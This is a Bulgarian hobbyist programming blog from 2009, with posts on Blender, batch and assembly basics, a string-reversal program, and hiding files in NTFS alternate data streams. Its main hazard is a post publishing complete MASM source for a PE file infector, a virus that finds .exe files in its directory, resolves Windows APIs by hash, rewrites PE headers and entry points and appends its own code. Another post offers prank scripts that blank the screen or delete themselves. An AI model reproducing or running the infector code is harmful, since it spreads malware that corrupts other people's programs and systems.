сряда, 25 март 2009 г.

Blender 3D начало...

Реших да направя поредица от уроци за начинаещите в 3D разработването.Програмата която ще използваме е Blender 3D тя е безплатна програма която може да свалите от http://www.blender.org/download/get-blender/ Blender 3D не е популярна като 3D Studio Max или Maya 3D но за сметка на това е безплатна и не иска големи изисквания за pc-то и може да тръгне под почти всяка платформа и не на последно място е open-source , и не на последно място е лесна за използване. В последно време тези фактори доведоха до изместването на известните програми за 3D от Blender.
Ето ви линк към урока.
http://4storing.com/free/eg06e/0dc8f36dbde01963f5d32e45c704137f.html

понеделник, 23 март 2009 г.

Batch & VBS скриптове



В тази статия ще ви покажа някой яки скриптове които намерих в интернет и мисля че трябва да ги пробвате.

@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

записват този код под формата на .bat файл и след пускането му екрана на монитора ви ще започне да примигва в различни цветове ако натиснете някой клавиш монитора ще стане черен и единственият начин да го спрете е с CTRL+ALT+DEL.

WScript.Sleep 100
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys " Az "
WScript.Sleep 500
WshShell.SendKeys "sam "
WScript.Sleep 500
WshShell.SendKeys "v tvoqt "
WScript.Sleep 500
WshShell.SendKeys "kompytar "
WScript.Sleep 500
WshShell.SendKeys "! "
WScript.Sleep 500
WshShell.SendKeys "kekeke"
WScript.Sleep 500
WshShell.SendKeys "kekekek"
WScript.Sleep 500
WshShell.SendKeys "...."
WScript.Sleep 500
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFile = fso.GetFile(".\myfile.vbs")
aFile.Delete

Записвате този файл като .vbs След като го пуснете скрипта ще отвори нотепад и вътре ще напише съобщение след това файлат сам ще се самоизтрие (и няма да го намерите и в кошчето).

Ето ви един прост скрипт който след като бъде въведен в url бара на mozilla firefox ще ви се отоври още една инстанция на програмата във вече работещата програма :)
chrome://browser/content/browser.xul

Ето ви още един batch скрипт с който ще получите matrix like ефект :P

@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

неделя, 22 март 2009 г.

Alternative Data Streams....



В този урок ще ви покажа един лесен начин за скриване на файлове в NTFS файловите системи които се използват от Windows.
Така влезте в старт менюто start -> run -> notepad C:\boot.ini:hiddendata след като цакнете enter ще ви се отвори notepad и ще ви попита дали искате
да създадете даденият файл.. подвърдете създаването на файла и напишете вътре нещо после Ctrl+S и затворете notepad.Сега отидете в диск C и ще видите че няма никакъв файл със съдържанието което сте въвели.(ако не сте променили настройкити на папките такаче да виждате
невидимите файлове няма да видите дори и boot.ini )
Сега пак в run консолата напишете C:\boot.ini:hiddendata и ето я вашата информация :)
Трика се състои в това когато пишете в run диалога след името на съществуващ файл или папка да сложите : и после името на тайния запис.
Ето ви още един пример notepad C:\Windows\system32\calc.exe:mysecretdata в този пример записваме тайният запис прикрепен към calc.exe.
това се дължи на Alternative Data Streams.. потърсете в google за повече информация.

вторник, 17 март 2009 г.

Обръщане на низ




Написах тази програма за един приятел на който му трябваше програма да обраща низ отзад напред но без да използва никакви допълнителни функций.


.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
.data?
string db 20 dup(?)
Reversed db 20 dup(?)
count db ?
.code
start:

invoke StdIn,addr string,20
xor dl,dl
lea ecx,string
loop1:
mov bl,byte ptr[ecx]
cmp bl,0h
jz play
inc dl
inc ecx
jmp loop1
play:
sub ecx,3
sub dl,2
lea eax,Reversed
newloop:
mov bl,byte ptr[ecx]
mov byte ptr [eax],bl
dec ecx
dec dl
inc eax
cmp dl,0
je play1
jmp newloop
play1:
invoke StdOut,addr string
invoke StdOut,addr Reversed
invoke StdIn,addr string,1
invoke ExitProcess, 0
end start

неделя, 15 март 2009 г.

Batch Basics



Това са просто текстови файлове записани в .bat разширение които се изпалняват от CMD интерпретера.
Има някой много полезни неща които можем да правим с тези команди нека разгледаме какво е възможно с изпланението
на Batch команди.Преди да започнем да пишем Batch файлове нека първо експериментираме в CMD (Start->Run->cmd.exe) интерпретера.

Ако искаме да видим всички дискове с които разполагаме в нашата система, трябва да напишем тази команда:
fsutil fsinfo drives
ако всичко е сработило добре трябва да ви излезе нещо подобно в прозореца на интепретера:

Drives: A:\ C:\ D:\ E:\ F:\ G:\ H:\

Вероятно тази команда ви се е сторила доста сложа затова нека започнем от най простите примери.
Пренасянаето от един диск в друг става много просто, само трябва да напишем името на диска последвано от двуеточие и сме там:
Например за да отидем в диск Д пишем: D: съответно за Ц C: и така нататак.

За да създадем нова директория използваме следната команда:
mkdir MoqtaPapka
и ако сте изпълнели тази команди сте създали папка с името MoqtaPapka
просто използваме командата mkdir последвана от интервал и името на папката която искаме да създадем.
За да видим съдържанието на директорията в която се намира просто използваме командата dir
След това ако искаме да влезем в директорията която току що сме създали ползваме следната команда:
cd MoqtaPapka
cd последвано от интервал и името на папката и сме вътре в папката.
Но да речем че искате да влезете в папка която се намира в друг диск например Д и се намира в друга папка тогава трябва да откажете следният път последният начин:
cd D:\Papka1\MoqtaPapka
мисля че вече сфанахте как се работи с тази команда.
За да създадете нов файл и едновремено с това да запишете данни вътре изпозлвайте следната команда:
echo ToziTextShteBadeVFila > myfile.txt
команда echo последвана от интервал и информацията която трябва да се запише файла, след това отново интервал и знака > , интервал и след това името и разширението на файла.
Този път разширението е .txt за текстов файл но то може да е каквото решите вие например .dat .ini .reg .com даже и .exe но разбирасе това не би било особено практично.
А за да видим съдаржанието на даден файл използваме следната команда:
type myfile.txt
type интервал и името на файла.
За да видим дата и времето просто трябва да изпълним за датата команда Date и за времето команда Time.
Ако искаме да приеменуваме някои файл използваме следната команда:
ren document.txt file.txt
тази команда ще промени името на файла document.txt на file.txt
За да преместите един файл от една директория в друга се използва следната команда:
move D:\Papka1\MoqtaPapka\myfile.txt C:\myfiles\newfile.txt
просто използваме команда move последвана от пътя към файла който искаме да преместим последван от пътя на мястото кадето искаме да бъде преместен файла.
Забележете че при този пример след като файла myfile.txt бъде преместен в директорията myfiles той ще бъде с ново име newfile.txt. Разбирасе промяната на името не е задължителна.
А ако искате просто да копирате един файл от едно място в друго синтаксиса е същият просто използваме команда copy:
copy D:\Papka1\MoqtaPapka\myfile.txt C:\myfiles\newfile.txt

За да премахнете дадена директория използвайте команда rmdir /s неможе просто да използвате rmdir защото ако има файлове в дадената директория то тя няма да бъде премахната, а като добавим /S то директорията
със всичко което се намира вътре ще бъде премахнато.
Ако искате да изтриете само даден файл просто използвате команда del :
del myfile.txt
така ще изтриете текстов файл си име myfile.
За да създадете нова директория просто използвайте командата mkdir послдвана от името на директорията която сикате да съждадете:
mkdir MyDirectory

Това са главните неща при batch скриптовете но има още доста неща да се напишат по темата, след време можеби ще напиша още неща по темата. :)

събота, 14 март 2009 г.

Моят първи PE Инфектор




Това е моят първи PE инфектор написан на чист асамблер.
Спецификаций:Може да инфектира по един файл на веднъж, и инфектира само файлове в същата директория.
Асемблирал сам го с MASM.
А ето и кода:


.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
include kernel32.inc
includelib kernel32.lib
Include windows.inc
.code
blabla label near
string db "*.exe",0
ep dd ?
var dd 0000003ch
varr dd ?
entrypoint dd ?
newep dd ?
wfd WIN32_FIND_DATA
start:
nop
call delta
delta:
pop ebp
sub ebp,offset delta
pop esi
and esi,0FFF00000h
push esi
add esi,[esi+3Ch]
add esi,078h
mov edi,dword ptr [esi]
pop esi
add edi,esi
push esi
push edi
mov eax,[ebp+entrypoint]
mov [ep+ebp],eax
xor eax,eax
mov ebx,0903ebb2eh
call [GetThisFuckingAPIs]
lea ebx,[wfd+ebp]
lea eax,[string+ebp]
call goon ;FindFirstFileA
movd mm2,eax
add edx,1h
movd mm7,edx
pop edi
pop esi
push eax
push esi
push edi
mov ebx,02BD833FBh
xor eax,eax
call [GetThisFuckingAPIs]
movd mm,ecx ;CreateFileA
mov edi,ecx
OpenMyFile:
movd ecx,mm
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,[wfd.cFileName+ebp]
push eax
call ecx ;CreateFileA
cmp eax,0FFFFFFFFh
jz test123
jmp notend
test123:
cmp ebp,0h
jz gogo
mov eax,[ep+ebp]
jmp eax
gogo:
push 0
Call ExitProcess
notend:
xor edx,edx
call Infection
movd edx,mm7
test edx,edx
jz here
add edx,01h
sub edx,edx
movd mm7,edx
pop edi
pop esi
push esi
push edi
mov ebx,0A38B216Eh
call [GetThisFuckingAPIs]
movd mm1,ecx ;FindNextFileA
pop edi
pop esi
pop eax
push esi
push edi
FindNextFile1:
movd ecx,mm1
lea ebx,[wfd+ebp]
call goon ;FindNextFileA
jmp OpenMyFile
goon proc
push ebx
push eax
call ecx
Ret
goon EndP
GetThisFuckingAPIs:
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop EBX
pop EAX
pop ECX
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
ret
here:
movd eax,mm2
jmp FindNextFile1
ret
Infection proc
push ebp
push eax
mov ebp,esp
add ebp,0Ch
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0C4D9B34Ch ;ReadFile
call GetThisFuckingAPIs
movd mm3,ecx
mov esi,[ebp]
sub ebp,04h
mov edi,[ebp]
mov ebx,093FAD32Ch ;WriteFile
call GetThisFuckingAPIs
movd mm4,ecx
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0119E9E92h ;CloseHandle
call GetThisFuckingAPIs
movd mm5,ecx
mov esi,[ebp]
sub ebp,04h
mov edi,[ebp]
mov ebx,0FD641C15h ;SetFilePointer
call GetThisFuckingAPIs
movd mm6,ecx
mov edi,[ebp]
add ebp,04h
mov esi,[ebp]
mov ebx,0C93E80D5h ;CancelIo
call GetThisFuckingAPIs
pop eax
pop ebp
push ecx
push ebp
push eax
pop eax
pop ebp
movd ecx,mm6
movd ecx,mm6
push eax
Reading:
call SetFilePointer1 ;SetFilePointer
mov edi,4h
mov eax,[esp]
call ReadFile1 ;ReadFile
pop eax
push [ebp+ var]
push eax
add [ebp+var],28h
movd ecx,mm6
pop eax
push eax
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov esi,[ebp+var]
mov [ebp+entrypoint],esi
pop eax
pop [ebp+var]
push [ebp+var]
add [ebp+var],34h
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1
mov esi,[ebp+var]
add [ebp+entrypoint],esi
pop eax
pop [ebp+var]
push eax
movd ecx,mm6
pop eax
push [var+ebp]
push eax
add [var+ebp],6h
call SetFilePointer1 ;SetFilePointer
xor eax,eax
mov [ebp+varr],eax
mov [ebp+var],eax
pop eax
push eax
mov edi,2h
call ReadFile1;ReadFile
pop ecx
pop edx
push edx
push ecx
mov eax,[ebp+var]
mov ebx,28h
dec eax
imul eax,ebx
add edx,0F8h
add edx,eax
add edx,8h
mov esi,edx
pop eax
push edx
push eax
add edx,4h
mov [var+ebp],edx
pop eax
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov edx,[ebp+var]
add edx,159h
mov [ebp+newep],edx
pop eax
pop edx
push edx
push eax
add edx,8h
mov [var+ebp],edx
pop eax
push eax
movd ecx,mm6
call SetFilePointer1
pop eax
push eax
mov edi,4h
call ReadFile1
mov edx,[ebp+var]
add [ebp+newep],edx
movd ecx,mm6
pop eax
pop edx
pop [var+ebp]
push edx
push eax
add [ebp+var],28h
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edx,[newep+ebp]
mov [var+ebp],edx
call WriteFile1 ; WriteFile
pop eax
pop edx
push eax
pop eax
push eax
mov [var+ebp],edx
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov ebx,[ebp+var]
pop eax
push eax
mov [ebp+var],esi
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
mov [ebp+var],ebx
mov [ebp+varr],4h
pop eax
push eax
add [ebp+var],600h
pop eax
push [ebp+var]
push eax
call WriteFile1 ;WriteFile
add esi,8h
mov [var+ebp],esi
movd ecx,mm6
pop eax
push eax
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop eax
push eax
mov edi,4h
call ReadFile1 ;ReadFile
mov [ebp+varr],4h
pop eax
push eax
xchg [ebp+var],esi
push [ebp+var]
movd ecx,mm6
call SetFilePointer1 ;SetFilePointer
pop [ebp+var]
pop eax
push [ebp+var]
push eax
mov [ebp+var],esi
pop ecx
pop edi
pop eax
push edi
push ecx
push ecx
mov ecx,200h
xchg ecx,edx
xor edx,edx
div ecx
inc eax
imul eax,edx
xchg ecx,edx
mov [ebp+var],eax
call WriteFile1 ;WriteFile
pop eax
pop [ebp+var]
push eax
add [ebp+var],14h
movd ecx,mm6
call SetFilePointer1 ; SetFilePointer
mov [ebp+var],0E00000E0h
pop eax
push eax
call WriteFile1 ;WriteFile
pop eax
push eax
movd ecx,mm6
xchg [var+ebp],esi
push 2h
push 0h
push 0h
push eax
call ecx ;SetFilePointer
pop eax
pop ecx
push eax
push eax
call ecx ;CancelIo
mov [var+ebp],3ch
mov eax,[esp]
push 0h
lea ecx,[varr+ebp]
push ecx
push 600h
lea ebx,[blabla+ebp]
push ebx
push eax
movd ecx,mm4
call ecx ;WriteFile
pop eax
push eax
movd ecx,mm5
push eax
call ecx ;CloseHandle
Ret
SetFilePointer1:
push 0h
push 0h
push [var+ebp]
push eax
call ecx ;SetFilePointer
ret
ReadFile1:
movd ecx,mm3
push 0h
lea ebx,[varr+ebp]
push ebx
lea edx,[var+ebp]
push edi
push edx
push eax
call ecx ;ReadFile
ret
WriteFile1: ;WriteFile
push 0h
lea ecx,[varr+ebp]
push ecx
push 4h
lea ebx,[var+ebp]
push ebx
push eax
movd ecx,mm4
call ecx
ret
Infection EndP
End start

Асамблер за начинаещи




Здравейте аз сам нов в програмирането но реших да започна да пиша уроци на български за това което сам научил/уча, това помага и на мен и се надявам че ще помогне и на други. :)  
Този Урок е в начален стадий просто написах една малка въвеждаща част за да видя дали има интерес кам такива уроци и ако има да продалжа да го пиша (ако има интерес не сам си поставил крайна точка кога да спра... ).

Това е парвият урок който пиша за каквото и да е такаче ако има някакви тематични грешки докладвайте за да ги оправя (няма нужда да ми казвате за правописните грешки :D ) 
   
Ассемблера е език за програмиране от ниско ниво.Той е специфичен за определеният модел процесор.
Трудно е да се програмира на ассемблер защото в него има много малко и прости инструкций с които можем да боравим
и трудното е това как да саберем всички малки и прости парченца за да се получи нещо сложно.
Писането на ассемблер е много трудуемко но пак за сметка на това ассемблера ти дава много по голям контрол върхо машината отколкото 
езиците от високо ниво като C\C++,Pascal,Java,Python,Perl. Ассемблера се ползва там кадето трябва оптимизация (ассемблер може да се вгражда в Delphi,C\C++,Visual Basic и други).
Ассемблер се използва за саздаване на драйвери,ассемблер се използва за саздаване на вируси, използвасе за писане на експлойти, ассемблера е главното оръжие на кракерите.

За да овладеете ассемблер а и който и да е друг език за програмиране трябва да знаете как се представят данните в компютара.
Компютара не е нищо повече от един много мощен калкулатор който може само да сабира и изважда числа.Числата които компютара използва са само нули и единици
това е така наречената двоична бройна система.Двоична е защото се състои само от две числа 0 и 1.Едно число от двоичната система се нарича БИТ (Binary digIT)
Самоче един бит не ни е от голяма полза и затова компютъра гупира няколко бита и ето какво се получава. Четири бит става нибъл ( Nibble) 0101 но един нибъл също
не ни е от полза затова нека групираме два нибъла за да получим най малката единица данни която може да бъде записана, това е байта (Byte) 00101101.
А ако обединим два байта се получава дума (word) а ако обединим две думи се получава двойна дума (dword).
Тази система от единици и нули е изключително удобна за компютрите но изключително неодобно за нас хората.Например 00000101 е 5 в десетична бройна система (decimal - бройната система
която ползваме в нашето ежедневие).А превращането от десетична в двоична и обратното е трудуемко.Затовае е изобретена шеснайсетична бройна система (hexdecimal) която използва числата
от 1 до 9 и буквите от латинската азбука от A до F.Тя е измислена защото ни позволява по леко да работим с двоичната бройна система, защото превращането от двоична в шеснайсетична и обратното е
много лесно.Просто трябва да разделите двоичното число на части по 4 бита в всяка част и след това просто записвате кое число от шеснайсетичната система отговаря на дадената група от 4 бита.
За да видите това може да използвате следващата таблица, а ето ви и един пример как става на практика:
имаме това двоично число -> 111100010111 първа крачка -> 1111 0001 0111 втора крачка просто трябва да намерим числата в таблицата
1111 = F 0001 = 1 0111 = 7 и ето че се поличава 0xF17 (0x се използва за да индикираме че това е шеснайсетично число).


Dec Hex Bin 
0 0 0000
1 1 0001
2 2 0010
3 3 0011
4 4 0100
5 5 0101
6 6 0110
7 7 0111
8 8 1000
9 9 1001
10 A 1010
11 B 1011
12 C 1100
13 D 1101
14 E 1110
15 F 1111
Превращането от шеснайсетична в двоична става по аналогичен начин, мисля че се досещате как.

Сега е време да стане малко по сложно като се запознаем с това как се превръща от шеснайсетична в десетична и обратното.
Например имаме 333h (h накрая на числото също индикира че това е шеснайсетично число).За да го преварнем в десетично се извършват следните действия.

1x(16^0) = 1  
2x(16^1) = 32
3x(16^2) = 768
  -------
  801 
Първо се взима най дясната единица в нашия случай това е 1 и се умножава по 16 на степен 0 и си запазваме резултата за после.
После както виждате взимаме второто число и извършваме същото действие, самоче този път 16 не е на степен 0 а на степен 1.Мисля че, вече разбирате
че с всяко следващо число степента на която се повдига 16 се повишава с 1 :) . 

Сега е време да разберем как става превръщането от десетична в шеснайсетична.
Ако имаме десетичното число 1911 ето какви действия трябва да извършим за да го превърнем в шеснайсетично.
1911 - десетично.
1911/16 = 119.4 
119.4 - 119 = 0.4375
0.4375x16 = 7 <- запазваме го за накрая 
   
119/16 = 7.4375  
7.4375 - 7 = 0.4375  
0.4375x16 = 7 <- запазваме го за накрая  
   
7/16 = 0.4375  
втората съпка тук е безсмислена  
0.4375x16 = 7 <- запазваме го за накрая  
   
Първо делим числото на 16 след това обикновено числото което се получава е с десетична запетая затова го закръгляме към най-близката единица.
След това взимаме остатъка и го уножава ме по 16 и полученият резултат се запазва за накрая.
При второто деление на 16 взимаме закрагленото число което се е получило при предишното деление на 16.
Може да ви звучи малко объркващо и сложно но като разгледате добре примера и парктикувате малко сичко ще ви стане по ясно.
Накрая числата които казах да се запазят за накрая се съединяват като първото получено число е от страната на единиците, второто получено от
страната на десетиците а третото получено от страната на стотиците и т.н.  

Сега е време да се запознаем с превръщането от двоична в десетична и обратното.
Превръщането от двоична в десетична става по следния начин.
Имаме следното двоично число 1010011.

(1*1) + (1*2) + (0*4) + (0*8) + (1*16) + (0*32) + (1*64) =
  1 + 2 + 0 + 0 + 16 + 0 + 64 = 83

Взимаме най лявата единица от двоичното число и я умножава по 1 и записваме резултата.
След това взимаме втората единица и този път я умножава ме по 2 ( с всяка следваща единица числото множител
се умеличава като се умножи по 2 ).
Накрая получените числа от умножението се сабират.Мисля че примерът който съм дал е достатъчно ясен за да разберете как става :).

Сега остана само да разберем как става превръщанет от десетична в двоична.Ето ви един пример

273/2 = 136.5 | 1
136/2 = 68 | 0
68/2 = 34 | 0
34/2 = 17 | 0
17/2 = 8.5 | 1
8/2 = 4 | 0
4/2 = 2 | 0
2/2 = 1 | 0
1/2 = 0.5 | 1

Тук всичко е много просто, просто делим числото на 2 и ако има остатък отстрани си записваме 1 ако няма остатък си записваме 0.
При следващото деление взимаме числото получено от предишното деление без остатъка, и така докато не се получи 0.
След това четем редицата от нули и единици като започнем от най долната на горе и ги записваме.
и се получава 100010001.

Първо реших да се запознаем с регистрите в асамблера.Можете да гледате на тях като кутийки в които можете да запазвате нещо времено.
Регистрите на повечето компютри в днешно време са 32 бита.Вие вече знаете че един бит това е един бинариен.Значи един регистар може да съдържа по 32 бита.
Самоче както знаете е неодобно и не практично да се работи с битове затова нека разглеждаме регистрите като променливи които побират по 8(=32 бита) байта.
Един байт може да приема до 256 различни значения.За да разберете какви значения може да приема един байт ето ви линк към ascii таблица.
[URL=http://www.asciitable.com/]http://www.asciitable.com/[/URL] 

Урока който разглеждате в момента се отнася за семейството процесори x86 на Intel.Това са най използваните процесори днешно време.
Регистрите в асамблера са следните:
EAX(Extendet Accumulator Register)
ECX(Extendet Count Register)
EDX(Extendet Data Register)
EBX(Extendet Base Register)
ESP(Extendet Stack pointer)
EBP(Extendet Base Pointer)
ESI(Extendet Source Index)
EDI(Extendet Destination Index)
EIP(Extendet Instruction Pointer)
Можеби се чудите защо пред всеки от регистрите има сложено E(Extendet), Този префикс е бил поставен когато са изобретили 32 битовите процесори.
Преди регистрите са били 16 битови и саотвено следните:AX,CX,DX,BX,SP,BP,SI,DI,IP.
Всеки регистър се състой от висок ред (high-order) и нисък ред (low-order).
Нека вземем EAX и да го разгледаме по от близо.
|0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31| <- EAX = 32 бита
|_____________________________________|_______________________________________________| <- Първъта половина се нарича AX и е ниският ред на EAX, а втората половина няма определено име и неможе да се
използва самостоятелно, тя е високият ред на EAX, и е била добавена когато са били измислени 32 битовите процесори.
Нека вземем ниският ред на EAX към който можем да се обръщаме с AX.
|0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15| <- AX. AX също се състои от нисък ред и висок ред съответно AH за висок ред и AL за нисък ред.
|_______________|_____________________|

Това което научихме до момента се отнася и за девете главни регистъра.Наричат се главни защото може да изполват за всичко.
Но преди когато те не са били 32 битови всеки е имал строго определено предазначение.Ще се спрем на тези подтробности по късно когато започнем да пишем програми.

Има още няколко регистара със строго определено значение това са:
CS(Code Segment) <- Сочи винаги към сегмента на кода.
DS(Data Segment) <- Сочи винаги към сегмента на данните.
SS(Stack Segment) <- Сочи винаги към стека.
ES(Extra Segment) <- Допалнителен регистър.
FS <- Допалнителен регистър.
GS <- Допалнителен регистър.

Има още един регистер EFLAGS който ще разгледаме когато започнем да програмираме.
Има още един куп регистри които не са важни за нас поне засега.

Следващата програма работи върхо всички версий на MS-DOS и Windows (не сам сигурен за Vista).
Написана е на 16 битов ассамблер и ассамблирана с TASM.
За да ассамблирате програмата програмата трябва да я запишете в .asm формат в директорията BIN на TASM.
И да извършите следните действия през cmd в директорията BIN.
tasm ImeNaFaila.asm
tlink /t ImeNaFaila.obj
 
.model tiny;казва на TASM да използва само един сегмент за цялата програма.. едвали ще ви се
;наложи да използвате .model small, .model huge ... (това не е важно засега)
.code;казва на TASM откаде започва кода 
org 100h;казва откаде да започне стартирането на програмата (в нашия случай това е 100h, можеби се чудите защо
;не от самото начало от 1h  защото .COM програмите имат нужда от първите 100h (256 байта) които се наричат PSP (по нататък ще раз
;гледаме тази структура подробно)
start:;просто заглавие
mov dx,OFFSET STRING;mov премества данни от едно място в друго, mov дестинация,източник, дестинацията в нашич случай е регистърът dx
;а източника е низ терминиран с $ (ако не е терминиран с $ то тогава програмата ще изведе всичко което стрештне в секцията с данни докато не
;срещне $)
mov ah,09h;премества в ah шеснайсетичната стойност 09h която е необходима за да кажем кое прекасване (Interrupt) ще използваме
;Прекъсване това е нещо като извикване на даден вече дефинирана функция. MS-DOS ползва главно int 21 vector table прекъсвания . Извикването на дадено прекъсване
;става така, първо в регистрите се попълват дадените стойности искани от даденото прекъсване и след това се извиква с инструкцията int 21h.
;Например в нашия случей прекъсването за изкарване на екрана даден низ изисква dx да съдържа адреса към низ терминиран с $.
;Листата с всички прекъсвания може да намерите тук [URL=http://www.ctyme.com/intr/int-21.htm]http://www.ctyme.com/intr/int-21.htm[/URL] .
int 21h;извикване на прекъсване 
int 20h;извиква прекъсване от int 20h vector table което е единственото в тази векторна таблица и не изисква никакви параметри записани в регистрите 
;и се използва за излизане от програмата и връщане контрола на MS-DOS.
STRING db "Hello H4x0rs$";Низ терминиран с $.
end start;слага край на заглавието start. *изисква се от TASM*.

Дано не останете разочаровани.

Beginning of...



The blog has born.